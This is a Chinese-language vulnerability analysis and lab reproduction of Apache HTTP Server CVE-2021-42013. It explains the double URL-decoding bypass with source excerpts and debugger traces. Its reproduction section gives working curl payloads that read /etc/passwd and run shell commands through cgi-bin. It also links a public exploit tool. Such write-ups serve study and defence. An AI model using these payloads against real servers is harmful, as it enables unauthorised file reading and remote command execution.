漏洞介绍

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。

漏洞范围

Apache HTTP Server 2.4.49, 2.4.50

漏洞靶场

使用vulhub的靶场:

使用环境为Apache HTTP Server 2.4.50

vulhub-master/httpd/CVE-2021-42013/

启动靶场环境:

1
docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到Apache默认的It works!页面。

漏洞原理

Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:

[ap_normalize_path()] server/util.c#L502-L612

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/* This is the master logic for processing requests.  Do NOT duplicate
* this logic elsewhere, or the security model will be broken by future
* API changes. Each phase must be individually optimized to pick up
* redundant/duplicate calls by subrequests, and redirects.
*/
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
......

if (r->parsed_uri.path) {
/* Normalize: remove /./ and shrink /../ segments, plus
* decode unreserved chars (first time only to avoid
* double decoding after ap_unescape_url() below).
*/
if (!ap_normalize_path(r->parsed_uri.path,
normalize_flags |
AP_NORMALIZE_DECODE_UNRESERVED)) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
"invalid URI path (%s)", r->unparsed_uri);
return HTTP_BAD_REQUEST;
}
}

......

/* Ignore URL unescaping for translated URIs already */
if (access_status != DONE && r->parsed_uri.path) {
core_dir_config *d = ap_get_core_module_config(r->per_dir_config);

if (d->allow_encoded_slashes) {
access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
d->decode_encoded_slashes);
}
else {
access_status = ap_unescape_url(r->parsed_uri.path);
}
if (access_status) {
if (access_status == HTTP_NOT_FOUND) {
if (! d->allow_encoded_slashes) {
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
"found %%2f (encoded '/') in URI path (%s), "
"returning 404", r->unparsed_uri);
}
}
return access_status;
}

server/request.c#L182-L261

ap_normalize_path函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd:

1
2
3
4
5
6
7
8
9
10
11
#0  ap_normalize_path (path=0x7f32740916a0 "/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd", flags=flags@entry=14) at util.c:508
#1 0x000055b354ea81c5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:209
#2 0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#3 0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#4 ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#5 0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#6 0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>)
at event.c:1052
#7 0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#8 0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#9 0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

经过ap_normalize_path函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

ap_unescape_url函数实际会调用unescape_url函数,调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
#0  unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901
#1 0x000055b354e8ea3e in ap_unescape_url (url=<optimized out>) at util.c:1949
#2 0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250
#3 0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#4 0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#5 ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#6 0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#7 0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>)
at event.c:1052
#8 0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#9 0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#10 0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

经过unescape_url函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd

1
2
3
4
5
6
7
(gdb) fin
Run till exit from #0 unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901
0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250
250 request.c: No such file or directory.
Value returned is $1 = 0
(gdb) x/s 0x7f32740916a0
0x7f32740916a0: "/icons/../../../../etc/passwd"

漏洞复现

我们使用CVE-2021-41773中的Payload已经无法成功利用漏洞了,说明2.4.50进行了修复。

但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):

1
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

image-20250604202203308

可见,成功读取到/etc/passwd

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

1
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

image-20250604202316957

exp

https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013

漏洞验证模块

输入url进行检测

image-20250604202456218

漏洞利用模块

输入url和命令进行执行

image-20250604202510725

参考

https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-42013/README.zh-cn.md

CVE-2021-41773和CVE-2021-42013漏洞分析-先知社区 (aliyun.com)